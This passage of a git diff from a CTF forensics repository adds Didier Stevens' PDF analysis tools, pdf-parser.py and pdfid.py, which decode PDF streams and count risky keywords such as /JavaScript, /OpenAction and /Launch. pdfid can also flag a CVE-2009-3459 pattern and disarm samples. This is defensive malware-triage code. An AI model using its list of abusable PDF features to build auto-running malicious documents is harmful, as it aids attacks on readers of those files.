countDirectories = 0 + data = '' + filters = [] + for i in range(0, len(self.content)): + if state == 'start': + if self.content[i][0] == CHAR_DELIMITER and self.content[i][1] == '<<': + countDirectories += 1 + if self.content[i][0] == CHAR_DELIMITER and self.content[i][1] == '>>': + countDirectories -= 1 + if countDirectories == 1 and self.content[i][0] == CHAR_DELIMITER and EqualCanonical(self.content[i][1], '/Filter'): + state = 'filter' + elif countDirectories == 0 and self.content[i][0] == CHAR_REGULAR and self.content[i][1] == 'stream': + state = 'stream-whitespace' + elif state == 'filter': + if self.content[i][0] == CHAR_DELIMITER and self.content[i][1][0] == '/': + filters = [self.content[i][1]] + state = 'search-stream' + elif self.content[i][0] == CHAR_DELIMITER and self.content[i][1] == '[': + state = 'filter-list' + elif state == 'filter-list': + if self.content[i][0] == CHAR_DELIMITER and self.content[i][1][0] == '/': + filters.append(self.content[i][1]) + elif self.content[i][0] == CHAR_DELIMITER and self.content[i][1] == ']': + state = 'search-stream' + elif state == 'search-stream': + if self.content[i][0] == CHAR_REGULAR and self.content[i][1] == 'stream': + state = 'stream-whitespace' + elif state == 'stream-whitespace': + if self.content[i][0] != CHAR_WHITESPACE: + data += self.content[i][1] + state = 'stream-concat' + elif state == 'stream-concat': + if self.content[i][0] == CHAR_REGULAR and self.content[i][1] == 'endstream': + if filter: + return self.Decompress(data, filters) + else: + return data + else: + data += self.content[i][1] + else: + return 'Unexpected filter state' + return filters + + def Decompress(self, data, filters): + for filter in filters: + if EqualCanonical(filter, '/FlateDecode') or EqualCanonical(filter, '/Fl'): + try: + data = FlateDecode(data) + except zlib.error, e: + message = 'FlateDecode decompress failed' + if len(data) > 0 and ord(data[0]) & 0x0F != 8: + message += ', unexpected compression method: %02x' % ord(data[0]) + return message + '. zlib.error %s' % e.message + elif EqualCanonical(filter, '/ASCIIHexDecode') or EqualCanonical(filter, '/AHx'): + try: + data = ASCIIHexDecode(data) + except: + return 'ASCIIHexDecode decompress failed' + elif EqualCanonical(filter, '/ASCII85Decode') or EqualCanonical(filter, '/A85'): + try: + data = ASCII85Decode(data.rstrip('>')) + except: + return 'ASCII85Decode decompress failed' + elif EqualCanonical(filter, '/LZWDecode') or EqualCanonical(filter, '/LZW'): + try: + data = LZWDecode(data) + except: + return 'LZWDecode decompress failed' + elif EqualCanonical(filter, '/RunLengthDecode') or EqualCanonical(filter, '/R'): + try: + data = RunLengthDecode(data) + except: + return 'RunLengthDecode decompress failed' +# elif i.startswith('/CC') # CCITTFaxDecode +# elif i.startswith('/DCT') # DCTDecode + else: + return 'Unsupported filter: %s' % repr(filters) + if len(filters) == 0: + return 'No filters' + else: + return data + +class cPDFElementStartxref: + def __init__(self, index): + self.type = PDF_ELEMENT_STARTXREF + self.index = index + +class cPDFElementMalformed: + def __init__(self, content): + self.type = PDF_ELEMENT_MALFORMED + self.content = content + +def TrimLWhiteSpace(data): + while data != [] and data[0][0] == CHAR_WHITESPACE: + data = data[1:] + return data + +def TrimRWhiteSpace(data): + while data != [] and data[-1][0] == CHAR_WHITESPACE: + data = data[:-1] + return data + +class cPDFParseDictionary: + def __init__(self, content, nocanonicalizedoutput): + self.content = content + self.nocanonicalizedoutput = nocanonicalizedoutput + dataTrimmed = TrimLWhiteSpace(TrimRWhiteSpace(self.content)) + if dataTrimmed == []: + self.parsed = None + elif self.isOpenDictionary(dataTrimmed[0]) and self.isCloseDictionary(dataTrimmed[-1]): + self.parsed = self.ParseDictionary(dataTrimmed)[0] + else: + self.parsed = None + + def isOpenDictionary(self, token): + return token[0] == CHAR_DELIMITER and token[1] == '<<' + + def isCloseDictionary(self, token): + return token[0] == CHAR_DELIMITER and token[1] == '>>' + + def ParseDictionary(self, tokens): + state = 0 # start + dictionary = [] + while tokens != []: + if state == 0: + if self.isOpenDictionary(tokens[0]): + state = 1 + else: + return None, tokens + elif state == 1: + if self.isOpenDictionary(tokens[0]): + pass + elif self.isCloseDictionary(tokens[0]): + return dictionary, tokens + elif tokens[0][0] != CHAR_WHITESPACE: + key = ConditionalCanonicalize(tokens[0][1], self.nocanonicalizedoutput) + value = [] + state = 2 + elif state == 2: + if self.isOpenDictionary(tokens[0]): + value, tokens = self.ParseDictionary(tokens) + dictionary.append((key, value)) + state = 1 + elif self.isCloseDictionary(tokens[0]): + dictionary.append((key, value)) + return dictionary, tokens + elif value == [] and tokens[0][0] == CHAR_WHITESPACE: + pass + elif value == [] and tokens[0][1] == '[': + value.append(tokens[0][1]) + elif value != [] and value[0] == '[' and tokens[0][1] != ']': + value.append(tokens[0][1]) + elif value != [] and value[0] == '[' and tokens[0][1] == ']': + value.append(tokens[0][1]) + dictionary.append((key, value)) + value = [] + state = 1 + elif value != [] and tokens[0][1][0] == '/': + dictionary.append((key, value)) + key = ConditionalCanonicalize(tokens[0][1], self.nocanonicalizedoutput) + value = [] + state = 2 + else: + value.append(ConditionalCanonicalize(tokens[0][1], self.nocanonicalizedoutput)) + tokens = tokens[1:] + + def retrieve(self): + return self.parsed + + def PrettyPrintSub(self, prefix, dictionary): + if dictionary != None: + print('%s<<' % prefix) + for e in dictionary: + if e[1] == []: + print('%s %s' % (prefix, e[0])) + elif type(e[1][0]) == type(''): + value = ''.join(e[1]).strip() + reprValue = repr(value) + if "'" + value + "'" != reprValue: + value = reprValue + print('%s %s %s' % (prefix, e[0], value)) + else: + print('%s %s' % (prefix, e[0])) + self.PrettyPrintSub(prefix + ' ', e[1]) + print('%s>>' % prefix) + + def PrettyPrint(self, prefix): + self.PrettyPrintSub(prefix, self.parsed) + +def FormatOutput(data, raw): + if raw: + if type(data) == type([]): + return ''.join(map(lambda x: x[1], data)) + else: + return data + else: + return repr(data) + +def PrintObject(object, options): + print('obj %d %d' % (object.id, object.version)) + print(' Type: %s' % ConditionalCanonicalize(object.GetType(), options.nocanonicalizedoutput)) + print(' Referencing: %s' % ', '.join(map(lambda x: '%s %s %s' % x, object.GetReferences()))) + dataPrecedingStream = object.ContainsStream() + oPDFParseDictionary = None + if dataPrecedingStream: + print(' Contains stream') + if options.debug: + print(' %s' % FormatOutput(dataPrecedingStream, options.raw)) + oPDFParseDictionary = cPDFParseDictionary(dataPrecedingStream, options.nocanonicalizedoutput) + else: + if options.debug or options.raw: + print(' %s' % FormatOutput(object.content, options.raw)) + oPDFParseDictionary = cPDFParseDictionary(object.content, options.nocanonicalizedoutput) + print('') + oPDFParseDictionary.PrettyPrint(' ') + print('') + if options.filter and not options.dump: + filtered = object.Stream() + if filtered == []: + print(' %s' % FormatOutput(object.content, options.raw)) + else: + print(' %s' % FormatOutput(filtered, options.raw)) + if options.content: + if object.ContainsStream(): + stream = object.Stream(False) + if stream != []: + print(' %s' % FormatOutput(stream, options.raw)) + else: + print(''.join([token[1] for token in object.content])) + + + if options.dump: + filtered = object.Stream(options.filter == True) + if filtered == []: + filtered = '' + try: + fDump = open(options.dump, 'wb') + try: + fDump.write(C2BIP3(filtered)) + except: + print('Error writing file %s' % options.dump) + fDump.close() + except: + print('Error writing file %s' % options.dump) + print('') + return + +def Canonicalize(sIn): + if sIn == '': + return sIn + elif sIn[0] != '/': + return sIn + elif sIn.find('#') == -1: + return sIn + else: + i = 0 + iLen = len(sIn) + sCanonical = '' + while i < iLen: + if sIn[i] == '#' and i < iLen - 2: + try: + sCanonical += chr(int(sIn[i+1:i+3], 16)) + i += 2 + except: + sCanonical += sIn[i] + else: + sCanonical += sIn[i] + i += 1 + return sCanonical + +def EqualCanonical(s1, s2): + return Canonicalize(s1) == s2 + +def ConditionalCanonicalize(sIn, nocanonicalizedoutput): + if nocanonicalizedoutput: + return sIn + else: + return Canonicalize(sIn) + +# http://code.google.com/p/pdfminerr/source/browse/trunk/pdfminer/pdfminer/ascii85.py +def ASCII85Decode(data): + import struct + n = b = 0 + out = '' + for c in data: + if '!' <= c and c <= 'u': + n += 1 + b = b*85+(ord(c)-33) + if n == 5: + out += struct.pack('>L',b) + n = b = 0 + elif c == 'z': + assert n == 0 + out += '\0\0\0\0' + elif c == '~': + if n: + for _ in range(5-n): + b = b*85+84 + out += struct.pack('>L',b)[:n-1] + break + return out + +def ASCIIHexDecode(data): + return binascii.unhexlify(''.join([c for c in data if c not in ' \t\n\r']).rstrip('>')) + +def FlateDecode(data): + return zlib.decompress(data) + +def RunLengthDecode(data): + f = StringIO(data) + decompressed = '' + runLength = ord(f.read(1)) + while runLength: + if runLength < 128: + decompressed += f.read(runLength + 1) + if runLength > 128: + decompressed += f.read(1) * (257 - runLength) + if runLength == 128: + break + runLength = ord(f.read(1)) +# return sub(r'(\d+)(\D)', lambda m: m.group(2) * int(m.group(1)), data) + return decompressed + +#### LZW code sourced from pdfminer +# Copyright (c) 2004-2009 Yusuke Shinyama +# +# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated +# documentation files (the "Software"), to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, +# and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +class LZWDecoder(object): + def __init__(self, fp): + self.fp = fp + self.buff = 0 + self.bpos = 8 + self.nbits = 9 + self.table = None + self.prevbuf = None + return + + def readbits(self, bits): + v = 0 + while 1: + # the number of remaining bits we can get from the current buffer. + r = 8-self.bpos + if bits <= r: + # |-----8-bits-----| + # |-bpos-|-bits-| | + # | |----r----| + v = (v<>(r-bits)) & ((1< __maximum_python_version__: + if enforceMaximumVersion: + print('This program does not work with this version of Python (%d.%d.%d)' % sys.version_info[0:3]) + print('Please use Python version %d.%d.%d' % __maximum_python_version__) + sys.exit() + else: + print('This program has not been tested with this version of Python (%d.%d.%d)' % sys.version_info[0:3]) + print('Should you encounter problems, please use Python version %d.%d.%d' % __maximum_python_version__) + if sys.version_info[0:3] < __minimum_python_version__: + if enforceMinimumVersion: + print('This program does not work with this version of Python (%d.%d.%d)' % sys.version_info[0:3]) + print('Please use Python version %d.%d.%d' % __maximum_python_version__) + sys.exit() + else: + print('This program has not been tested with this version of Python (%d.%d.%d)' % sys.version_info[0:3]) + print('Should you encounter problems, please use Python version %d.%d.%d' % __maximum_python_version__) + +if __name__ == '__main__': + TestPythonVersion() + Main() diff --git a/CTFs/2014-CSAW-CTF/forensics/obscurity/pdf.pdf b/CTFs/2014-CSAW-CTF/forensics/obscurity/pdf.pdf new file mode 100644 index 0000000..2d9fc53 Binary files /dev/null and b/CTFs/2014-CSAW-CTF/forensics/obscurity/pdf.pdf differ diff --git a/CTFs/2014-CSAW-CTF/forensics/obscurity/pdfid.py b/CTFs/2014-CSAW-CTF/forensics/obscurity/pdfid.py new file mode 100755 index 0000000..cdf7c3c --- /dev/null +++ b/CTFs/2014-CSAW-CTF/forensics/obscurity/pdfid.py @@ -0,0 +1,714 @@ +#!/usr/bin/env python + +__description__ = 'Tool to test a PDF file' +__author__ = 'Didier Stevens' +__version__ = '0.1.2' +__date__ = '2013/03/13' + +""" + +Tool to test a PDF file + +Source code put in public domain by Didier Stevens, no Copyright +https://DidierStevens.com +Use at your own risk + +History: + 2009/03/27: start + 2009/03/28: scan option + 2009/03/29: V0.0.2: xml output + 2009/03/31: V0.0.3: /ObjStm suggested by Dion + 2009/04/02: V0.0.4: added ErrorMessage + 2009/04/20: V0.0.5: added Dates + 2009/04/21: V0.0.6: added entropy + 2009/04/22: added disarm + 2009/04/29: finished disarm + 2009/05/13: V0.0.7: added cPDFEOF + 2009/07/24: V0.0.8: added /AcroForm and /RichMedia, simplified %PDF header regex, extra date format (without TZ) + 2009/07/25: added input redirection, option --force + 2009/10/13: V0.0.9: added detection for CVE-2009-3459; added /RichMedia to disarm + 2010/01/11: V0.0.10: relaxed %PDF header checking + 2010/04/28: V0.0.11: added /Launch + 2010/09/21: V0.0.12: fixed cntCharsAfterLastEOF bug; fix by Russell Holloway + 2011/12/29: updated for Python 3, added keyword /EmbeddedFile + 2012/03/03: added PDFiD2JSON; coded by Brandon Dixon + 2013/02/10: V0.1.0: added http/https support; added support for ZIP file with password 'infected' + 2013/03/11: V0.1.1: fixes for Python 3 + 2013/03/13: V0.1.2: Added error handling for files; added /XFA + +Todo: + - update XML example (entropy, EOF) + - code review, cleanup +""" + +import optparse +import os +import re +import xml.dom.minidom +import traceback +import math +import operator +import os.path +import sys +import json +import zipfile +try: + import urllib2 + urllib23 = urllib2 +except: + import urllib.request + urllib23 = urllib.request + +#Convert 2 Bytes If Python 3 +def C2BIP3(string): + if sys.version_info[0] > 2: + return bytes([ord(x) for x in string]) + else: + return string + +class cBinaryFile: + def __init__(self, file): + self.file = file + if file == '': + self.infile = sys.stdin + elif file.lower().startswith('http://') or file.lower().startswith('https://'): + try: + if sys.hexversion >= 0x020601F0: + self.infile = urllib23.urlopen(file, timeout=5) + else: + self.infile = urllib23.urlopen(file) + except urllib23.HTTPError: + print('Error accessing URL %s' % file) + print(sys.exc_info()[1]) + sys.exit() + elif file.lower().endswith('.zip'): + try: + self.zipfile = zipfile.ZipFile(file, 'r') + self.infile = self.zipfile.open(self.zipfile.infolist()[0], 'r', C2BIP3('infected')) + except: + print('Error opening file %s' % file) + print(sys.exc_info()[1]) + sys.exit() + else: + try: + self.infile = open(file, 'rb') + except: + print('Error opening file %s' % file) + print(sys.exc_info()[1]) + sys.exit() + self.ungetted = [] + + def byte(self): + if len(self.ungetted) != 0: + return self.ungetted.pop() + inbyte = self.infile.read(1) + if not inbyte or inbyte == '': + self.infile.close() + return None + return ord(inbyte) + + def bytes(self, size): + if size <= len(self.ungetted): + result = self.ungetted[0:size] + del self.ungetted[0:size] + return result + inbytes = self.infile.read(size - len(self.ungetted)) + if inbytes == '': + self.infile.close() + if type(inbytes) == type(''): + result = self.ungetted + [ord(b) for b in inbytes] + else: + result = self.ungetted + [b for b in inbytes] + self.ungetted = [] + return result + + def unget(self, byte): + self.ungetted.append(byte) + + def ungets(self, bytes): + bytes.reverse() + self.ungetted.extend(bytes) + +class cPDFDate: + def __init__(self): + self.state = 0 + + def parse(self, char): + if char == 'D': + self.state = 1 + return None + elif self.state == 1: + if char == ':': + self.state = 2 + self.digits1 = '' + else: + self.state = 0 + return None + elif self.state == 2: + if len(self.digits1) < 14: + if char >= '0' and char <= '9': + self.digits1 += char + return None + else: + self.state = 0 + return None + elif char == '+' or char == '-' or char == 'Z': + self.state = 3 + self.digits2 = '' + self.TZ = char + return None + elif char == '"': + self.state = 0 + self.date = 'D:' + self.digits1 + return self.date + elif char < '0' or char > '9': + self.state = 0 + self.date = 'D:' + self.digits1 + return self.date + else: + self.state = 0 + return None + elif self.state == 3: + if len(self.digits2) < 2: + if char >= '0' and char <= '9': + self.digits2 += char + return None + else: + self.state = 0 + return None + elif len(self.digits2) == 2: + if char == "'": + self.digits2 += char + return None + else: + self.state = 0 + return None + elif len(self.digits2) < 5: + if char >= '0' and char <= '9': + self.digits2 += char + if len(self.digits2) == 5: + self.state = 0 + self.date = 'D:' + self.digits1 + self.TZ + self.digits2 + return self.date + else: + return None + else: + self.state = 0 + return None + +def fEntropy(countByte, countTotal): + x = float(countByte) / countTotal + if x > 0: + return - x * math.log(x, 2) + else: + return 0.0 + +class cEntropy: + def __init__(self): + self.allBucket = [0 for i in range(0, 256)] + self.streamBucket = [0 for i in range(0, 256)] + + def add(self, byte, insideStream): + self.allBucket[byte] += 1 + if insideStream: + self.streamBucket[byte] += 1 + + def removeInsideStream(self, byte): + if self.streamBucket[byte] > 0: + self.streamBucket[byte] -= 1 + + def calc(self): + self.nonStreamBucket = map(operator.sub, self.allBucket, self.streamBucket) + allCount = sum(self.allBucket) + streamCount = sum(self.streamBucket) + nonStreamCount = sum(self.nonStreamBucket) + return (allCount, sum(map(lambda x: fEntropy(x, allCount), self.allBucket)), streamCount, sum(map(lambda x: fEntropy(x, streamCount), self.streamBucket)), nonStreamCount, sum(map(lambda x: fEntropy(x, nonStreamCount), self.nonStreamBucket))) + +class cPDFEOF: + def __init__(self): + self.token = '' + self.cntEOFs = 0 + + def parse(self, char): + if self.cntEOFs > 0: + self.cntCharsAfterLastEOF += 1 + if self.token == '' and char == '%': + self.token += char + return + elif self.token == '%' and char == '%': + self.token += char + return + elif self.token == '%%' and char == 'E': + self.token += char + return + elif self.token == '%%E' and char == 'O': + self.token += char + return + elif self.token == '%%EO' and char == 'F': + self.token += char + return + elif self.token == '%%EOF' and (char == '\n' or char == '\r' or char == ' ' or char == '\t'): + self.cntEOFs += 1 + self.cntCharsAfterLastEOF = 0 + if char == '\n': + self.token = '' + else: + self.token += char + return + elif self.token == '%%EOF\r': + if char == '\n': + self.cntCharsAfterLastEOF = 0 + self.token = '' + else: + self.token = '' + +def FindPDFHeaderRelaxed(oBinaryFile): + bytes = oBinaryFile.bytes(1024) + index = ''.join([chr(byte) for byte in bytes]).find('%PDF') + if index == -1: + oBinaryFile.ungets(bytes) + return ([], None) + for endHeader in range(index + 4, index + 4 + 10): + if bytes[endHeader] == 10 or bytes[endHeader] == 13: + break + oBinaryFile.ungets(bytes[endHeader:]) + return (bytes[0:endHeader], ''.join([chr(byte) for byte in bytes[index:endHeader]])) + +def Hexcode2String(char): + if type(char) == int: + return '#%02x' % char + else: + return char + +def SwapCase(char): + if type(char) == int: + return ord(chr(char).swapcase()) + else: + return char.swapcase() + +def HexcodeName2String(hexcodeName): + return ''.join(map(Hexcode2String, hexcodeName)) + +def SwapName(wordExact): + return map(SwapCase, wordExact) + +def UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut): + if word != '': + if slash + word in words: + words[slash + word][0] += 1 + if hexcode: + words[slash + word][1] += 1 + elif slash == '/' and allNames: + words[slash + word] = [1, 0] + if hexcode: + words[slash + word][1] += 1 + if slash == '/': + lastName = slash + word + if slash == '': + if word == 'stream': + insideStream = True + if word == 'endstream': + if insideStream == True and oEntropy != None: + for char in 'endstream': + oEntropy.removeInsideStream(ord(char)) + insideStream = False + if fOut != None: + if slash == '/' and '/' + word in ('/JS', '/JavaScript', '/AA', '/OpenAction', '/JBIG2Decode', '/RichMedia', '/Launch'): + wordExactSwapped = HexcodeName2String(SwapName(wordExact)) + fOut.write(C2BIP3(wordExactSwapped)) + print('/%s -> /%s' % (HexcodeName2String(wordExact), wordExactSwapped)) + else: + fOut.write(C2BIP3(HexcodeName2String(wordExact))) + return ('', [], False, lastName, insideStream) + +class cCVE_2009_3459: + def __init__(self): + self.count = 0 + + def Check(self, lastName, word): + if (lastName == '/Colors' and word.isdigit() and int(word) > 2^24): # decided to alert when the number of colors is expressed with more than 3 bytes + self.count += 1 + +def PDFiD(file, allNames=False, extraData=False, disarm=False, force=False): + """Example of XML output: + + + + + + + + + + + + + + + + + + + + + + """ + + word = '' + wordExact = [] + hexcode = False + lastName = '' + insideStream = False + keywords = ('obj', + 'endobj', + 'stream', + 'endstream', + 'xref', + 'trailer', + 'startxref', + '/Page', + '/Encrypt', + '/ObjStm', + '/JS', + '/JavaScript', + '/AA', + '/OpenAction', + '/AcroForm', + '/JBIG2Decode', + '/RichMedia', + '/Launch', + '/EmbeddedFile', + '/XFA', + ) + words = {} + dates = [] + for keyword in keywords: + words[keyword] = [0, 0] + slash = '' + xmlDoc = xml.dom.minidom.getDOMImplementation().createDocument(None, 'PDFiD', None) + att = xmlDoc.createAttribute('Version') + att.nodeValue = __version__ + xmlDoc.documentElement.setAttributeNode(att) + att = xmlDoc.createAttribute('Filename') + att.nodeValue = file + xmlDoc.documentElement.setAttributeNode(att) + attErrorOccured = xmlDoc.createAttribute('ErrorOccured') + xmlDoc.documentElement.setAttributeNode(attErrorOccured) + attErrorOccured.nodeValue = 'False' + attErrorMessage = xmlDoc.createAttribute('ErrorMessage') + xmlDoc.documentElement.setAttributeNode(attErrorMessage) + attErrorMessage.nodeValue = '' + + oPDFDate = None + oEntropy = None + oPDFEOF = None + oCVE_2009_3459 = cCVE_2009_3459() + try: + attIsPDF = xmlDoc.createAttribute('IsPDF') + xmlDoc.documentElement.setAttributeNode(attIsPDF) + oBinaryFile = cBinaryFile(file) + if extraData: + oPDFDate = cPDFDate() + oEntropy = cEntropy() + oPDFEOF = cPDFEOF() + (bytesHeader, pdfHeader) = FindPDFHeaderRelaxed(oBinaryFile) + if disarm: + (pathfile, extension) = os.path.splitext(file) + fOut = open(pathfile + '.disarmed' + extension, 'wb') + for byteHeader in bytesHeader: + fOut.write(C2BIP3(chr(byteHeader))) + else: + fOut = None + if oEntropy != None: + for byteHeader in bytesHeader: + oEntropy.add(byteHeader, insideStream) + if pdfHeader == None and not force: + attIsPDF.nodeValue = 'False' + return xmlDoc + else: + if pdfHeader == None: + attIsPDF.nodeValue = 'False' + pdfHeader = '' + else: + attIsPDF.nodeValue = 'True' + att = xmlDoc.createAttribute('Header') + att.nodeValue = repr(pdfHeader[0:10]).strip("'") + xmlDoc.documentElement.setAttributeNode(att) + byte = oBinaryFile.byte() + while byte != None: + char = chr(byte) + charUpper = char.upper() + if charUpper >= 'A' and charUpper <= 'Z' or charUpper >= '0' and charUpper <= '9': + word += char + wordExact.append(char) + elif slash == '/' and char == '#': + d1 = oBinaryFile.byte() + if d1 != None: + d2 = oBinaryFile.byte() + if d2 != None and (chr(d1) >= '0' and chr(d1) <= '9' or chr(d1).upper() >= 'A' and chr(d1).upper() <= 'F') and (chr(d2) >= '0' and chr(d2) <= '9' or chr(d2).upper() >= 'A' and chr(d2).upper() <= 'F'): + word += chr(int(chr(d1) + chr(d2), 16)) + wordExact.append(int(chr(d1) + chr(d2), 16)) + hexcode = True + if oEntropy != None: + oEntropy.add(d1, insideStream) + oEntropy.add(d2, insideStream) + if oPDFEOF != None: + oPDFEOF.parse(d1) + oPDFEOF.parse(d2) + else: + oBinaryFile.unget(d2) + oBinaryFile.unget(d1) + (word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut) + if disarm: + fOut.write(C2BIP3(char)) + else: + oBinaryFile.unget(d1) + (word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut) + if disarm: + fOut.write(C2BIP3(char)) + else: + oCVE_2009_3459.Check(lastName, word) + + (word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut) + if char == '/': + slash = '/' + else: + slash = '' + if disarm: + fOut.write(C2BIP3(char)) + + if oPDFDate != None and oPDFDate.parse(char) != None: + dates.append([oPDFDate.date, lastName]) + + if oEntropy != None: + oEntropy.add(byte, insideStream) + + if oPDFEOF != None: + oPDFEOF.parse(char) + + byte = oBinaryFile.byte() + (word, wordExact, hexcode, lastName, insideStream) = UpdateWords(word, wordExact, slash, words, hexcode, allNames, lastName, insideStream, oEntropy, fOut) + + # check to see if file ended with %%EOF. If so, we can reset charsAfterLastEOF and add one to EOF count. This is never performed in + # the parse function because it never gets called due to hitting the end of file. + if byte == None and oPDFEOF != None: + if oPDFEOF.token == '%%EOF': + oPDFEOF.cntEOFs += 1 + oPDFEOF.cntCharsAfterLastEOF = 0 + oPDFEOF.token = '' + + except SystemExit: + sys.exit() + except: + attErrorOccured.nodeValue = 'True' + attErrorMessage.nodeValue = traceback.format_exc() + + if disarm: + fOut.close() + + attEntropyAll = xmlDoc.createAttribute('TotalEntropy') + xmlDoc.documentElement.setAttributeNode(attEntropyAll) + attCountAll = xmlDoc.createAttribute('TotalCount') + xmlDoc.documentElement.setAttributeNode(attCountAll) + attEntropyStream = xmlDoc.createAttribute('StreamEntropy') + xmlDoc.documentElement.setAttributeNode(attEntropyStream) + attCountStream = xmlDoc.createAttribute('StreamCount') + xmlDoc.documentElement.setAttributeNode(attCountStream) + attEntropyNonStream = xmlDoc.createAttribute('NonStreamEntropy') + xmlDoc.documentElement.setAttributeNode(attEntropyNonStream) + attCountNonStream = xmlDoc.createAttribute('NonStreamCount') + xmlDoc.documentElement.setAttributeNode(attCountNonStream) + if oEntropy != None: + (countAll, entropyAll , countStream, entropyStream, countNonStream, entropyNonStream) = oEntropy.calc() + attEntropyAll.nodeValue = '%f' % entropyAll + attCountAll.nodeValue = '%d' % countAll + attEntropyStream.nodeValue = '%f' % entropyStream + attCountStream.nodeValue = '%d' % countStream + attEntropyNonStream.nodeValue = '%f' % entropyNonStream + attCountNonStream.nodeValue = '%d' % countNonStream + else: + attEntropyAll.nodeValue = '' + attCountAll.nodeValue = '' + attEntropyStream.nodeValue = '' + attCountStream.nodeValue = '' + attEntropyNonStream.nodeValue = '' + attCountNonStream.nodeValue = '' + attCountEOF = xmlDoc.createAttribute('CountEOF') + xmlDoc.documentElement.setAttributeNode(attCountEOF) + attCountCharsAfterLastEOF = xmlDoc.createAttribute('CountCharsAfterLastEOF') + xmlDoc.documentElement.setAttributeNode(attCountCharsAfterLastEOF) + if oPDFEOF != None: + attCountEOF.nodeValue = '%d' % oPDFEOF.cntEOFs + attCountCharsAfterLastEOF.nodeValue = '%d' % oPDFEOF.cntCharsAfterLastEOF + else: + attCountEOF.nodeValue = '' + attCountCharsAfterLastEOF.nodeValue = '' + + eleKeywords = xmlDoc.createElement('Keywords') + xmlDoc.documentElement.appendChild(eleKeywords) + for keyword in keywords: + eleKeyword = xmlDoc.createElement('Keyword') + eleKeywords.appendChild(eleKeyword) + att = xmlDoc.createAttribute('Name') + att.nodeValue = keyword + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('Count') + att.nodeValue = str(words[keyword][0]) + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('HexcodeCount') + att.nodeValue = str(words[keyword][1]) + eleKeyword.setAttributeNode(att) + eleKeyword = xmlDoc.createElement('Keyword') + eleKeywords.appendChild(eleKeyword) + att = xmlDoc.createAttribute('Name') + att.nodeValue = '/Colors > 2^24' + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('Count') + att.nodeValue = str(oCVE_2009_3459.count) + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('HexcodeCount') + att.nodeValue = str(0) + eleKeyword.setAttributeNode(att) + if allNames: + keys = sorted(words.keys()) + for word in keys: + if not word in keywords: + eleKeyword = xmlDoc.createElement('Keyword') + eleKeywords.appendChild(eleKeyword) + att = xmlDoc.createAttribute('Name') + att.nodeValue = word + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('Count') + att.nodeValue = str(words[word][0]) + eleKeyword.setAttributeNode(att) + att = xmlDoc.createAttribute('HexcodeCount') + att.nodeValue = str(words[word][1]) + eleKeyword.setAttributeNode(att) + eleDates = xmlDoc.createElement('Dates') + xmlDoc.documentElement.appendChild(eleDates) + dates.sort(key=lambda x: x[0]) + for date in dates: + eleDate = xmlDoc.createElement('Date') + eleDates.appendChild(eleDate) + att = xmlDoc.createAttribute('Value') + att.nodeValue = date[0] + eleDate.setAttributeNode(att) + att = xmlDoc.createAttribute('Name') + att.nodeValue = date[1] + eleDate.setAttributeNode(att) + return xmlDoc + +def PDFiD2String(xmlDoc, force): + result = 'PDFiD %s %s\n' % (xmlDoc.documentElement.getAttribute('Version'), xmlDoc.documentElement.getAttribute('Filename')) + if xmlDoc.documentElement.getAttribute('ErrorOccured') == 'True': + return result + '***Error occured***\n%s\n' % xmlDoc.documentElement.getAttribute('ErrorMessage') + if not force and xmlDoc.documentElement.getAttribute('IsPDF') == 'False': + return result + ' Not a PDF document\n' + result += ' PDF Header: %s\n' % xmlDoc.documentElement.getAttribute('Header') + for node in xmlDoc.documentElement.getElementsByTagName('Keywords')[0].childNodes: + result += ' %-16s %7d' % (node.getAttribute('Name'), int(node.getAttribute('Count'))) + if int(node.getAttribute('HexcodeCount')) > 0: + result += '(%d)' % int(node.getAttribute('HexcodeCount')) + result += '\n' + if xmlDoc.documentElement.getAttribute('CountEOF') != '': + result += ' %-16s %7d\n' % ('%%EOF', int(xmlDoc.documentElement.getAttribute('CountEOF'))) + if xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF') != '': + result += ' %-16s %7d\n' % ('After last %%EOF', int(xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF'))) + for node in xmlDoc.documentElement.getElementsByTagName('Dates')[0].childNodes: + result += ' %-23s %s\n' % (node.getAttribute('Value'), node.getAttribute('Name')) + if xmlDoc.documentElement.getAttribute('TotalEntropy') != '': + result += ' Total entropy: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('TotalEntropy'), xmlDoc.documentElement.getAttribute('TotalCount')) + if xmlDoc.documentElement.getAttribute('StreamEntropy') != '': + result += ' Entropy inside streams: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('StreamEntropy'), xmlDoc.documentElement.getAttribute('StreamCount')) + if xmlDoc.documentElement.getAttribute('NonStreamEntropy') != '': + result += ' Entropy outside streams: %s (%10s bytes)\n' % (xmlDoc.documentElement.getAttribute('NonStreamEntropy'), xmlDoc.documentElement.getAttribute('NonStreamCount')) + return result + +def Scan(directory, allNames, extraData, disarm, force): + try: + if os.path.isdir(directory): + for entry in os.listdir(directory): + Scan(os.path.join(directory, entry), allNames, extraData, disarm, force) + else: + result = PDFiD2String(PDFiD(directory, allNames, extraData, disarm, force), force) + print(result) + logfile = open('PDFiD.log', 'a') + logfile.write(result + '\n') + logfile.close() + except: + pass + +#function derived from: http://blog.9bplus.com/pdfidpy-output-to-json +def PDFiD2JSON(xmlDoc, force): + #Get Top Layer Data + errorOccured = xmlDoc.documentElement.getAttribute('ErrorOccured') + errorMessage = xmlDoc.documentElement.getAttribute('ErrorMessage') + filename = xmlDoc.documentElement.getAttribute('Filename') + header = xmlDoc.documentElement.getAttribute('Header') + isPdf = xmlDoc.documentElement.getAttribute('IsPDF') + version = xmlDoc.documentElement.getAttribute('Version') + entropy = 